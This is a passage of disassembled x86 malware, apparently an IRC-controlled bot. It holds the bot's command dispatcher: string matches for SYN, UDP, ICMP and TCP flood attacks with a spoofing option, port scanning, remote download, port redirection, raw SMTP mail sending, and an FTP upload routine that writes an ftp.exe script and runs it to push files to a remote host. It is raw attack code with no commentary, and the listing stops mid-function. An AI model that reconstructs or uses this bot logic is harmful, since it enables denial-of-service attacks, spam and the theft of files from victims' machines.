		push	offset aCom_execute ; "com.execute"
		call	sub_4177D0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_413593
		push	[ebp+arg_8]
		push	offset aCom_e	; "com.e"
		call	sub_4177D0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_413593
		push	[ebp+arg_8]
		push	offset aFindfile ; "findfile"
		call	sub_4177D0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_413495
		push	[ebp+arg_8]
		push	offset aFf	; "ff"
		call	sub_4177D0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_413495
		push	[ebp+arg_8]
		push	offset aCom_rename ; "com.rename"
		call	sub_4177D0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_413441
		push	[ebp+arg_8]
		push	offset aCom_mv	; "com.mv"
		call	sub_4177D0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_413441
		push	[ebp+arg_8]
		push	offset aDdos_icmp ; "ddos.icmp"
		call	sub_4177D0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_413346
		push	[ebp+arg_8]
		push	offset aDdos_ic	; "ddos.ic"
		call	sub_4177D0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_413346
		mov	eax, [ebp+esi+var_88]
		cmp	eax, ebx
		mov	[ebp+arg_0], eax
		jz	loc_40FAB8
		push	[ebp+arg_8]
		push	offset aClone_make ; "clone.make"
		call	sub_4177D0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_41325B
		push	[ebp+arg_8]
		push	offset aClone_start ; "clone.start"
		call	sub_4177D0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_41325B
		push	[ebp+arg_8]
		push	offset aDdos_syn ; "ddos.syn"
		call	sub_4177D0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_413162
		push	[ebp+arg_8]
		push	offset aDdos_ack ; "ddos.ack"
		call	sub_4177D0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_413162
		push	[ebp+arg_8]
		push	offset aDdos_random ; "ddos.random"
		call	sub_4177D0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_413162
		push	[ebp+arg_8]
		push	offset aDdos_synflood ;	"ddos.synflood"
		call	sub_4177D0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_41307A
		push	[ebp+arg_8]
		push	offset aDdos_synf ; "ddos.synf"
		call	sub_4177D0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_41307A
		push	[ebp+arg_8]
		push	offset aDownload_wgett ; "download.wgett4m13"
		call	sub_4177D0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_412F3C
		push	[ebp+arg_8]
		push	offset aDownload_wg33 ;	"download.wg33"
		call	sub_4177D0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_412F3C
		push	[ebp+arg_8]
		push	offset aDaemon_redirec ; "daemon.redirect"
		call	sub_4177D0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_412E2C
		push	[ebp+arg_8]
		push	offset aDaemon_rd ; "daemon.rd"
		call	sub_4177D0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_412E2C
		push	[ebp+arg_8]
		push	offset aRoot_portscan ;	"root.portscan"
		call	sub_4177D0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_412D39
		push	[ebp+arg_8]
		push	offset aRoot_ps	; "root.ps"
		call	sub_4177D0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_412D39
		push	[ebp+arg_8]
		push	offset aClone_privmsg ;	"clone.privmsg"
		call	sub_4177D0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_412C64
		push	[ebp+arg_8]
		push	offset aClone_pm ; "clone.pm"
		call	sub_4177D0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_412C64
		push	[ebp+arg_8]
		push	offset aClone_action ; "clone.action"
		call	sub_4177D0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_412B52
		push	[ebp+arg_8]
		push	offset aClone_ac ; "clone.ac"
		call	sub_4177D0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_412B52
		mov	eax, [ebp+esi+var_84]
		cmp	eax, ebx
		mov	[ebp+arg_10], eax
		jz	loc_40FAB8
		push	[ebp+arg_8]
		push	offset aRoot_start ; "root.start"
		call	sub_4177D0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4127F3
		push	[ebp+arg_8]
		push	offset aRoot_s	; "root.s"
		call	sub_4177D0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4127F3
		push	[ebp+arg_8]
		push	offset aDdos_udpflood ;	"ddos.udpflood"
		call	sub_4177D0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4126AD
		push	[ebp+arg_8]
		push	offset aDdos_udpf ; "ddos.udpf"
		call	sub_4177D0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4126AD
		push	[ebp+arg_8]
		push	offset aU	; "u"
		call	sub_4177D0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4126AD
		push	[ebp+arg_8]
		push	offset aDdos_pingflood ; "ddos.pingflood"
		call	sub_4177D0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_412586
		push	[ebp+arg_8]
		push	offset aDdos_pingf ; "ddos.pingf"
		call	sub_4177D0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_412586
		push	[ebp+arg_8]
		push	offset aP	; "p"
		call	sub_4177D0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_412586
		push	[ebp+arg_8]
		push	offset aDdos_tcpflood ;	"ddos.tcpflood"
		call	sub_4177D0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4123E5
		push	[ebp+arg_8]
		push	offset aDdos_tcpf ; "ddos.tcpf"
		call	sub_4177D0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4123E5
		push	[ebp+arg_8]
		push	offset aUtil_email ; "util.email"
		call	sub_4177D0
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	loc_4121F3
		lea	eax, [ebp+var_3F8]
		push	edi
		push	eax
		call	sub_417A00
		push	[ebp+arg_18]
		call	sub_41791F
		push	[ebp+arg_0]
		mov	[ebp+arg_18], eax
		lea	eax, [ebp+var_DB0]
		push	eax
		call	sub_417A00
		push	[ebp+arg_10]
		lea	eax, [ebp+var_BA8]
		push	eax
		call	sub_417A00
		push	offset asc_428300 ; " "
		push	offset a__0	; "_"
		push	[ebp+esi+var_80]
		call	sub_40A74C
		push	eax
		lea	eax, [ebp+var_55C]
		push	eax
		call	sub_417A00
		add	esp, 30h
		lea	eax, [ebp+var_6EC]
		push	eax
		push	101h
		call	dword_441330	; WSAStartup
		lea	eax, [ebp+var_3F8]
		push	eax
		call	dword_44143C	; gethostbyname
		push	6
		push	1
		push	2
		mov	edi, eax
		call	dword_441438	; socket
		push	[ebp+arg_18]
		mov	esi, eax
		mov	[ebp+var_2EC], 2
		mov	eax, [edi+0Ch]
		mov	eax, [eax]
		mov	eax, [eax]
		mov	[ebp+var_2E8], eax
		call	dword_4413B8	; ntohs
		mov	[ebp+var_2EA], ax
		lea	eax, [ebp+var_55C]
		push	eax
		lea	eax, [ebp+var_DB0]
		push	eax
		lea	eax, [ebp+var_55C]
		push	eax
		lea	eax, [ebp+var_BA8]
		push	eax
		lea	eax, [ebp+var_DB0]
		push	eax
		lea	eax, [ebp+var_15B0]
		push	offset aHeloRndnickMai ; "helo $rndnick\nmail from: <%s>\nrcpt to: "...
		push	eax
		call	sub_4173AC
		add	esp, 1Ch
		lea	eax, [ebp+var_2EC]
		push	10h
		push	eax
		push	esi
		call	dword_441360	; connect
		mov	edi, 100h
		push	ebx
		lea	eax, [ebp+var_CAC]
		push	edi
		push	eax
		push	esi
		call	dword_4413D0	; recv
		lea	eax, [ebp+var_CAC]
		push	ebx
		push	eax
		call	sub_417AF0
		pop	ecx
		push	eax
		lea	eax, [ebp+var_15B0]
		push	eax
		push	esi
		call	dword_441408	; send
		push	ebx
		lea	eax, [ebp+var_CAC]
		push	edi
		push	eax
		push	esi
		call	dword_4413D0	; recv
		push	esi
		call	dword_441450	; closesocket
		call	dword_441318	; WSACleanup
		lea	eax, [ebp+var_BA8]
		push	eax
		push	offset unk_436E60


loc_4121DF:				; CODE XREF: sub_40F6F1+3C50j
					; sub_40F6F1+3F30j ...
		lea	eax, [ebp+var_2DC]
		push	eax
		call	sub_4173AC
		add	esp, 0Ch
		jmp	loc_41455C
; ---------------------------------------------------------------------------


loc_4121F3:				; CODE XREF: sub_40F6F1+2998j
		push	[ebp+arg_8]
		push	offset aUtil_httpcon ; "util.httpcon"
		call	sub_4177D0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4123B4
		push	[ebp+arg_8]
		push	offset aUtil_hcon ; "util.hcon"
		call	sub_4177D0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4123B4
		mov	esi, [ebp+esi+var_80]
		cmp	esi, ebx
		jz	loc_40FAB8
		push	[ebp+arg_8]
		push	offset aFtp_upload ; "ftp.upload"
		call	sub_4177D0
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	loc_415956
		push	4
		push	esi
		call	sub_40D5A0
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_412289
		push	esi
		push	offset dword_436E08


loc_412258:				; CODE XREF: sub_40F6F1+2E78j
					; sub_40F6F1+2F9Cj ...
		lea	eax, [ebp+var_2DC]
		push	eax
		call	sub_4173AC


loc_412264:				; CODE XREF: sub_40F6F1+2FB7j
		add	esp, 0Ch


loc_412267:				; CODE XREF: sub_40F6F1+2E5Cj
					; sub_40F6F1+2E90j ...
		cmp	[ebp+var_8], ebx
		jnz	loc_4157D0
		push	ebx
		lea	eax, [ebp+var_2DC]
		push	[ebp+var_4]
		push	eax
		push	[ebp+var_8C]
		push	[ebp+arg_4]
		jmp	loc_414FD6
; ---------------------------------------------------------------------------


loc_412289:				; CODE XREF: sub_40F6F1+2B5Fj
		nop
		call	near ptr 7C80929Ch
		push	eax
		call	sub_4173FE
		pop	ecx
		call	sub_417408
		push	9
		cdq
		pop	ecx
		idiv	ecx
		push	edx
		call	sub_417408
		push	63h
		cdq
		pop	ecx
		idiv	ecx
		push	edx
		call	sub_417408
		cdq
		mov	ecx, 3E7h
		idiv	ecx
		lea	eax, [ebp+var_CB0]
		push	edx
		push	eax
		lea	eax, [ebp+var_BAC]
		push	offset aSIII_dll ; "%s\\%i%i%i.dll"
		push	eax
		call	sub_4173AC
		lea	eax, [ebp+var_BAC]
		push	offset aAb	; "ab"
		push	eax
		call	sub_41823A
		add	esp, 20h
		cmp	eax, ebx
		mov	[ebp+arg_24], eax
		jz	loc_40FAB8
		push	esi
		push	[ebp+arg_10]
		push	[ebp+arg_0]
		push	[ebp+arg_18]
		push	edi
		push	offset aOpenSSSSPutSBy ; "open %s\r\n%s\r\n%s\r\n%s\r\nput %s\r\nbye\r\n"
		push	eax
		call	sub_419096
		push	[ebp+arg_24]
		call	sub_4180DC
		lea	eax, [ebp+var_BAC]
		push	eax
		lea	eax, [ebp+var_3F8]
		push	offset aSS_4	; "-s:%s"
		push	eax
		call	sub_4173AC
		add	esp, 2Ch
		lea	eax, [ebp+var_3F8]
		push	ebx
		push	ebx
		push	eax
		push	offset aFtp_exe	; "ftp.exe"
		push	offset aOpen	; "open"
		push	ebx
		call	dword_44132C	; ShellExecuteA
		test	eax, eax
		push	edi
		push	esi
		jz	short loc_412353
		push	offset dword_436D8C
		jmp	short loc_412358
; ---------------------------------------------------------------------------


loc_412353:				; CODE XREF: sub_40F6F1+2C59j
		push	offset dword_436D50


loc_412358:				; CODE XREF: sub_40F6F1+2C60j
		call	sub_4173AC
		add	esp, 0Ch
		cmp	[ebp+var_8], ebx
		jnz	short loc_412381
		push	ebx
		lea	eax, [ebp+var_2DC]
		push	[ebp+var_4]
		push	eax
		push	[ebp+var_8C]
		push	[ebp+arg_4]
		call	sub_40DC10
		add	esp, 14h


loc_412381:				; CODE XREF: sub_40F6F1+2C72j
		lea	eax, [ebp+var_2DC]
		push	eax
		call	sub_40C4F7


loc_41238D:				; CODE XREF: sub_40F6F1+2CC1j
		lea	eax, [ebp+var_BAC]
		push	4
		push	eax
		call	sub_40D5A0
		add	esp, 0Ch
		test	eax, eax
		jz	loc_40FAB8
		lea	eax, [ebp+var_BAC]
		push	eax
		call	sub_41906C
		jmp	short loc_41238D
; ---------------------------------------------------------------------------


loc_4123B4:				; CODE XREF: sub_40F6F1+2B13j
					; sub_40F6F1+2B2Aj
		push	[ebp+esi+var_80]
		push	[ebp+arg_10]
		push	[ebp+arg_0]
		push	[ebp+arg_18]
		call	sub_41791F
		pop	ecx
		push	eax
		push	edi
		push	[ebp+var_8]
		push	[ebp+var_4]
		push	[ebp+var_8C]
		push	[ebp+arg_4]
		call	sub_406A64
		add	esp, 24h
		jmp	loc_415956
; ---------------------------------------------------------------------------


loc_4123E5:				; CODE XREF: sub_40F6F1+296Aj
					; sub_40F6F1+2981j
		mov	esi, 80h
		push	edi
		lea	eax, [ebp+var_678]
		push	esi
		push	eax
		call	sub_41792A
		lea	eax, [ebp+var_678]
		push	eax
		push	offset aSyn	; "syn"
		call	sub_4177D0
		add	esp, 14h
		test	eax, eax
		jz	short loc_412448
		lea	eax, [ebp+var_678]
		push	eax
		push	offset aAck	; "ack"
		call	sub_4177D0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	short loc_412448
		lea	eax, [ebp+var_678]
		push	eax
		push	offset aRandom	; "random"
		call	sub_4177D0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	short loc_412448
		push	offset dword_436D18
		jmp	loc_412573
; ---------------------------------------------------------------------------


loc_412448:				; CODE XREF: sub_40F6F1+2D1Dj
					; sub_40F6F1+2D34j ...
		push	[ebp+arg_10]
		call	sub_41791F
		cmp	eax, ebx
		pop	ecx
		mov	[ebp+var_570], eax
		jle	loc_41256E
		push	edi
		lea	eax, [ebp+var_678]
		push	esi
		push	eax
		call	sub_41792A
		push	[ebp+arg_18]
		lea	eax, [ebp+var_6F8]
		push	esi
		push	eax
		call	sub_41792A
		push	[ebp+arg_0]
		call	sub_41791F
		mov	[ebp+var_574], eax
		xor	eax, eax
		cmp	[ebp+var_9B6], bl
		push	[ebp+var_8C]
		setnz	al
		mov	[ebp+var_56C], eax
		mov	eax, [ebp+arg_4]
		mov	[ebp+var_6FC], eax
		lea	eax, [ebp+var_5F8]
		push	esi
		push	eax
		call	sub_41792A
		mov	eax, [ebp+var_4]
		add	esp, 28h
		cmp	[ebp+var_56C], ebx
		mov	[ebp+var_568], eax
		mov	eax, [ebp+var_8]
		mov	[ebp+var_564], eax
		mov	eax, offset aSpoofed ; "Spoofed"
		jnz	short loc_4124DF
		mov	eax, offset aNormal ; "Normal"


loc_4124DF:				; CODE XREF: sub_40F6F1+2DE7j
		push	[ebp+arg_10]
		push	[ebp+arg_0]
		push	[ebp+arg_18]
		push	edi
		push	eax
		push	offset dword_436CC4
		lea	eax, [ebp+var_2DC]
		push	200h
		push	eax
		call	sub_41792A
		push	ebx
		lea	eax, [ebp+var_2DC]
		push	0Ch
		push	eax
		call	sub_416E58
		add	esp, 2Ch
		mov	[ebp+var_578], eax
		lea	eax, [ebp+var_10]
		push	eax
		lea	eax, [ebp+var_6FC]
		push	ebx
		push	eax
		push	offset sub_401D79
		push	ebx
		push	ebx
		nop
		call	near ptr 7C810637h
		mov	ecx, [ebp+var_578]
		imul	ecx, 234h
		cmp	eax, ebx
		mov	dword_446E24[ecx], eax
		jz	short loc_41255D


loc_412547:				; CODE XREF: sub_40F6F1+2E6Aj
		cmp	[ebp+var_560], ebx
		jnz	loc_412267
		push	32h
		nop
		call	near ptr 7C802442h
		jmp	short loc_412547
; ---------------------------------------------------------------------------


loc_41255D:				; CODE XREF: sub_40F6F1+2E54j
		nop
		call	near ptr 7C910331h
		push	eax
		push	offset dword_436C7C
		jmp	loc_412258
; ---------------------------------------------------------------------------


loc_41256E:				; CODE XREF: sub_40F6F1+2D68j
		push	offset dword_436C34


loc_412573:				; CODE XREF: sub_40F6F1+2D52j
					; sub_40F6F1+3220j ...
		lea	eax, [ebp+var_2DC]
		push	eax
		call	sub_4173AC
		pop	ecx
		pop	ecx
		jmp	loc_412267
; ---------------------------------------------------------------------------


loc_412586:				; CODE XREF: sub_40F6F1+2925j
					; sub_40F6F1+293Cj ...
		cmp	dword_4414A8, ebx
		jnz	loc_412692
		mov	eax, [ebp+var_8]
		push	7Fh
		mov	[ebp+var_300], eax
		mov	eax, [ebp+var_4]
		mov	[ebp+var_304], eax
		lea	eax, [ebp+var_398]
		push	edi
		push	eax
		call	sub_4182F0
		push	[ebp+arg_18]
		call	sub_41791F
		push	[ebp+arg_0]
		mov	[ebp+var_318], eax
		call	sub_41791F
		push	[ebp+arg_10]
		mov	[ebp+var_314], eax
		call	sub_41791F
		push	7Fh
		mov	[ebp+var_310], eax
		push	[ebp+var_8C]
		lea	eax, [ebp+var_418]
		push	eax
		call	sub_4182F0
		push	[ebp+var_310]
		mov	eax, [ebp+arg_4]
		mov	[ebp+var_41C], eax
		lea	eax, [ebp+var_398]
		push	[ebp+var_314]
		push	eax
		lea	eax, [ebp+var_2DC]
		push	[ebp+var_318]
		push	offset unk_436BDC
		push	eax
		call	sub_4173AC
		push	ebx
		lea	eax, [ebp+var_2DC]
		push	0Eh
		push	eax
		call	sub_416E58
		add	esp, 48h
		mov	[ebp+var_308], eax
		lea	eax, [ebp+var_10]
		push	eax
		lea	eax, [ebp+var_41C]
		push	ebx
		push	eax
		push	offset sub_40B45B
		push	ebx
		push	ebx
		nop
		call	near ptr 7C810637h
		mov	ecx, [ebp+var_308]
		imul	ecx, 234h
		cmp	eax, ebx
		mov	dword_446E24[ecx], eax
		jz	short loc_412681


loc_41266B:				; CODE XREF: sub_40F6F1+2F8Ej
		cmp	[ebp+var_2FC], ebx
		jnz	loc_412267
		push	32h
		nop
		call	near ptr 7C802442h
		jmp	short loc_41266B
; ---------------------------------------------------------------------------


loc_412681:				; CODE XREF: sub_40F6F1+2F78j
		nop
		call	near ptr 7C910331h
		push	eax
		push	offset unk_436B94
		jmp	loc_412258
; ---------------------------------------------------------------------------


loc_412692:				; CODE XREF: sub_40F6F1+2E9Bj
		push	1FFh
		lea	eax, [ebp+var_2DC]
		push	offset aIcmp_dllNotAva ; "ICMP.dll not available"
		push	eax
		call	sub_4182F0
		jmp	loc_412264
; ---------------------------------------------------------------------------


loc_4126AD:				; CODE XREF: sub_40F6F1+28E0j
					; sub_40F6F1+28F7j ...
		mov	eax, [ebp+var_8]
		push	7Fh
		mov	[ebp+var_300], eax
		mov	eax, [ebp+var_4]
		mov	[ebp+var_304], eax
		lea	eax, [ebp+var_398]
		push	edi
		push	eax
		call	sub_4182F0
		push	[ebp+arg_18]
		call	sub_41791F
		push	[ebp+arg_0]
		mov	[ebp+var_318], eax
		call	sub_41791F
		push	[ebp+arg_10]
		mov	[ebp+var_314], eax
		call	sub_41791F
		mov	esi, [ebp+esi+var_80]
		add	esp, 18h
		cmp	esi, ebx
		mov	[ebp+var_310], eax
		jz	short loc_412712
		push	esi
		call	sub_41791F
		pop	ecx
		mov	[ebp+var_30C], eax
		jmp	short loc_412718
; ---------------------------------------------------------------------------


loc_412712:				; CODE XREF: sub_40F6F1+3010j
		mov	[ebp+var_30C], ebx


loc_412718:				; CODE XREF: sub_40F6F1+301Fj
		push	7Fh
		lea	eax, [ebp+var_418]
		push	[ebp+var_8C]
		push	eax
		call	sub_4182F0
		push	[ebp+var_310]
		mov	esi, [ebp+arg_4]
		lea	eax, [ebp+var_398]
		mov	[ebp+var_41C], esi
		push	[ebp+var_314]
		push	eax
		lea	eax, [ebp+var_2DC]
		push	[ebp+var_318]
		push	offset dword_436B24
		push	eax
		call	sub_4173AC
		push	ebx
		lea	eax, [ebp+var_2DC]
		push	0Fh
		push	eax
		call	sub_416E58
		add	esp, 30h
		mov	[ebp+var_308], eax
		lea	eax, [ebp+var_10]
		push	eax
		lea	eax, [ebp+var_41C]
		push	ebx
		push	eax
		push	offset sub_40B5E7
		push	ebx
		push	ebx
		nop
		call	near ptr 7C810637h
		mov	ecx, [ebp+var_308]
		imul	ecx, 234h
		cmp	eax, ebx
		mov	dword_446E24[ecx], eax
		jz	short loc_4127B8


loc_4127A6:				; CODE XREF: sub_40F6F1+30C5j
		cmp	[ebp+var_2FC], ebx
		jnz	short loc_4127D3
		push	32h
		nop
		call	near ptr 7C802442h
		jmp	short loc_4127A6
; ---------------------------------------------------------------------------


loc_4127B8:				; CODE XREF: sub_40F6F1+30B3j
		nop
		call	near ptr 7C910331h
		push	eax
		push	offset dword_436ADC


loc_4127C4:				; CODE XREF: sub_40F6F1+3984j
					; sub_40F6F1+3A6Cj ...
		lea	eax, [ebp+var_2DC]
		push	eax
		call	sub_4173AC
		add	esp, 0Ch


loc_4127D3:				; CODE XREF: sub_40F6F1+30BBj
					; sub_40F6F1+3968j ...
		cmp	[ebp+var_8], ebx
		jnz	loc_4157D0
		push	ebx
		push	[ebp+var_4]


loc_4127E0:				; CODE XREF: sub_40F6F1+3846j
		lea	eax, [ebp+var_2DC]
		push	eax
		push	[ebp+var_8C]
		push	esi
		jmp	loc_414FD6
; ---------------------------------------------------------------------------


loc_4127F3:				; CODE XREF: sub_40F6F1+28B2j
					; sub_40F6F1+28C9j
		push	8
		call	sub_4170A0
		push	[ebp+arg_18]
		mov	[ebp+arg_8], eax
		call	sub_41791F
		add	eax, [ebp+arg_8]
		pop	ecx
		pop	ecx
		cmp	eax, 3E8h
		jle	short loc_412846
		push	[ebp+arg_8]
		lea	eax, [ebp+var_2DC]
		push	offset unk_436A90
		push	eax
		call	sub_4173AC
		push	ebx
		lea	eax, [ebp+var_2DC]
		push	[ebp+var_4]
		push	eax
		push	[ebp+var_8C]
		push	[ebp+arg_4]
		call	sub_40DC10


loc_41283E:				; CODE XREF: sub_40F6F1+455Cj
		add	esp, 20h
		jmp	loc_415956
; ---------------------------------------------------------------------------


loc_412846:				; CODE XREF: sub_40F6F1+311Ej
		push	edi
		call	sub_41791F
		push	[ebp+arg_18]
		mov	[ebp+var_330], eax
		call	sub_41791F
		push	[ebp+arg_0]
		mov	[ebp+var_318], eax
		call	sub_41791F
		add	esp, 0Ch
		cmp	eax, 5
		mov	[ebp+var_32C], eax
		jnb	short loc_41287F
		push	5
		pop	eax
		mov	[ebp+var_32C], eax


loc_41287F:				; CODE XREF: sub_40F6F1+3183j
		push	3Ch
		pop	ecx
		cmp	eax, ecx
		jbe	short loc_41288C
		mov	[ebp+var_32C], ecx


loc_41288C:				; CODE XREF: sub_40F6F1+3193j
		push	[ebp+arg_10]
		call	sub_41791F
		mov	[ebp+var_328], eax
		mov	eax, 2710h
		cmp	[ebp+var_328], eax
		pop	ecx
		jbe	short loc_4128AE
		mov	[ebp+var_328], eax


loc_4128AE:				; CODE XREF: sub_40F6F1+31B5j
		or	[ebp+var_314], 0FFFFFFFFh
		cmp	dword_428BF8, ebx
		mov	[ebp+arg_0], ebx
		jz	short loc_412904
		mov	[ebp+arg_24], offset dword_428BF8


loc_4128C7:				; CODE XREF: sub_40F6F1+31F5j
		mov	eax, [ebp+arg_24]
		push	edi
		add	eax, 0FFFFFFD8h
		push	eax
		call	sub_4177D0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	short loc_4128EA
		add	[ebp+arg_24], 3Ch
		inc	[ebp+arg_0]
		mov	eax, [ebp+arg_24]
		cmp	[eax], ebx
		jnz	short loc_4128C7
		jmp	short loc_412904
; ---------------------------------------------------------------------------


loc_4128EA:				; CODE XREF: sub_40F6F1+31E7j
		mov	eax, [ebp+arg_0]
		mov	ecx, eax
		mov	[ebp+var_314], eax
		imul	ecx, 3Ch
		mov	ecx, dword_428BF8[ecx]
		mov	[ebp+var_330], ecx


loc_412904:				; CODE XREF: sub_40F6F1+31CDj
					; sub_40F6F1+31F7j
		cmp	[ebp+var_330], ebx
		jnz	short loc_412916
		push	offset unk_436A4C
		jmp	loc_412573
; ---------------------------------------------------------------------------


loc_412916:				; CODE XREF: sub_40F6F1+3219j
		mov	edi, [ebp+esi+var_80]
		cmp	edi, ebx
		mov	[ebp+arg_18], edi
		jz	short loc_412951
		cmp	byte ptr [edi],	23h
		jz	short loc_412951
		push	edi
		lea	eax, [ebp+var_444]
		push	10h
		push	eax
		call	sub_41792A
		push	78h
		push	edi
		call	sub_418630
		add	esp, 14h
		neg	eax
		sbb	eax, eax
		neg	eax
		mov	[ebp+var_304], eax
		jmp	loc_412A25
; ---------------------------------------------------------------------------


loc_412951:				; CODE XREF: sub_40F6F1+322Ej
					; sub_40F6F1+3233j
		cmp	[ebp+var_9C7], bl
		jnz	short loc_412973
		cmp	[ebp+var_9C6], bl
		jnz	short loc_412973
		cmp	[ebp+var_9B6], bl
		jnz	short loc_412973
		push	offset unk_436A08
		jmp	loc_412573
; ---------------------------------------------------------------------------


loc_412973:				; CODE XREF: sub_40F6F1+3266j
					; sub_40F6F1+326Ej ...
		push	10h
		lea	eax, [ebp+arg_0]
		pop	edi
		push	eax
		lea	eax, [ebp+var_2EC]
		push	eax
		mov	[ebp+arg_0], edi
		push	[ebp+arg_4]
		call	dword_44135C	; getsockname
		mov	al, [ebp+var_9C7]
		push	edi
		neg	al
		sbb	eax, eax
		and	ax, 100h
		add	eax, 0FFFFh
		and	[ebp+var_2E8], eax
		push	[ebp+var_2E8]
		call	dword_441444	; inet_ntoa
		push	eax
		lea	eax, [ebp+var_444]
		push	eax
		call	sub_4182F0
		add	esp, 0Ch
		cmp	[ebp+var_9B6], bl
		jz	short loc_412A1F
		xor	eax, eax
		cmp	[ebp+var_9C7], bl
		push	30h
		setnz	al
		inc	eax
		inc	eax
		mov	edi, eax
		lea	eax, [ebp+var_444]
		push	eax
		call	sub_4185F0
		pop	ecx
		cmp	edi, ebx
		pop	ecx
		mov	byte ptr [ebp+arg_24+3], bl
		jle	short loc_412A13


loc_4129F1:				; CODE XREF: sub_40F6F1+3320j
		cmp	eax, ebx
		jz	short loc_412A13
		mov	byte ptr [eax],	78h
		lea	eax, [ebp+var_444]
		push	30h
		push	eax
		call	sub_4185F0
		inc	byte ptr [ebp+arg_24+3]
		pop	ecx
		pop	ecx
		movsx	ecx, byte ptr [ebp+arg_24+3]
		cmp	ecx, edi
		jl	short loc_4129F1


loc_412A13:				; CODE XREF: sub_40F6F1+32FEj
					; sub_40F6F1+3302j
		mov	[ebp+var_304], 1
		jmp	short loc_412A25
; ---------------------------------------------------------------------------


loc_412A1F:				; CODE XREF: sub_40F6F1+32D8j
		mov	[ebp+var_304], ebx


loc_412A25:				; CODE XREF: sub_40F6F1+325Bj
					; sub_40F6F1+332Cj
		mov	eax, [ebp+arg_4]
		push	[ebp+var_8C]
		mov	[ebp+var_334], eax
		mov	eax, [ebp+var_4]
		mov	[ebp+var_30C], eax
		mov	eax, [ebp+var_8]
		mov	[ebp+var_308], eax
		mov	edi, 80h
		lea	eax, [ebp+var_434]
		push	edi
		push	eax
		call	sub_41792A
		mov	esi, [ebp+esi+var_7C]
		add	esp, 0Ch
		cmp	esi, ebx
		jz	short loc_412A76


loc_412A63:				; CODE XREF: sub_40F6F1+33A8j
		push	esi


loc_412A64:				; CODE XREF: sub_40F6F1+3392j
		lea	eax, [ebp+var_3B4]
		push	edi
		push	eax
		call	sub_41792A
		add	esp, 0Ch
		jmp	short loc_412AA1
; ---------------------------------------------------------------------------


loc_412A76:				; CODE XREF: sub_40F6F1+3370j
		mov	eax, [ebp+arg_18]
		cmp	eax, ebx
		jz	short loc_412A85
		cmp	byte ptr [eax],	23h
		jnz	short loc_412A85
		push	eax
		jmp	short loc_412A64
; ---------------------------------------------------------------------------


loc_412A85:				; CODE XREF: sub_40F6F1+338Aj
					; sub_40F6F1+338Fj
		mov	esi, offset aSodoma_3e ; "##sodoma_3e"
		push	offset byte_43C63C
		push	esi
		call	sub_4177D0
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_412A63
		mov	[ebp+var_3B4], bl


loc_412AA1:				; CODE XREF: sub_40F6F1+3383j
		cmp	[ebp+var_304], ebx
		mov	eax, offset aRandom_0 ;	"Random"
		jnz	short loc_412AB3
		mov	eax, offset aSequential	; "Sequential"


loc_412AB3:				; CODE XREF: sub_40F6F1+33BBj
		push	[ebp+var_318]
		lea	ecx, [ebp+var_444]
		push	[ebp+var_328]
		push	[ebp+var_32C]
		push	[ebp+var_330]
		push	ecx
		push	eax
		lea	eax, [ebp+var_2DC]
		push	offset unk_436984
		push	eax
		call	sub_4173AC
		push	ebx
		lea	eax, [ebp+var_2DC]
		push	8
		push	eax
		call	sub_416E58
		add	esp, 2Ch
		mov	[ebp+var_324], eax
		lea	eax, [ebp+var_10]
		push	eax
		lea	eax, [ebp+var_444]
		push	ebx
		push	eax
		push	offset sub_4078E6
		push	ebx
		push	ebx
		nop
		call	near ptr 7C810637h
		mov	ecx, [ebp+var_324]
		imul	ecx, 234h
		cmp	eax, ebx
		mov	dword_446E24[ecx], eax
		jz	short loc_412B41


loc_412B2B:				; CODE XREF: sub_40F6F1+344Ej
		cmp	[ebp+var_300], ebx
		jnz	loc_412267
		push	32h
		nop
		call	near ptr 7C802442h
		jmp	short loc_412B2B
; ---------------------------------------------------------------------------


loc_412B41:				; CODE XREF: sub_40F6F1+3438j
		nop
		call	near ptr 7C910331h
		push	eax
		push	offset unk_43693C
		jmp	loc_412258
; ---------------------------------------------------------------------------


loc_412B52:				; CODE XREF: sub_40F6F1+2872j
					; sub_40F6F1+2889j
		push	edi
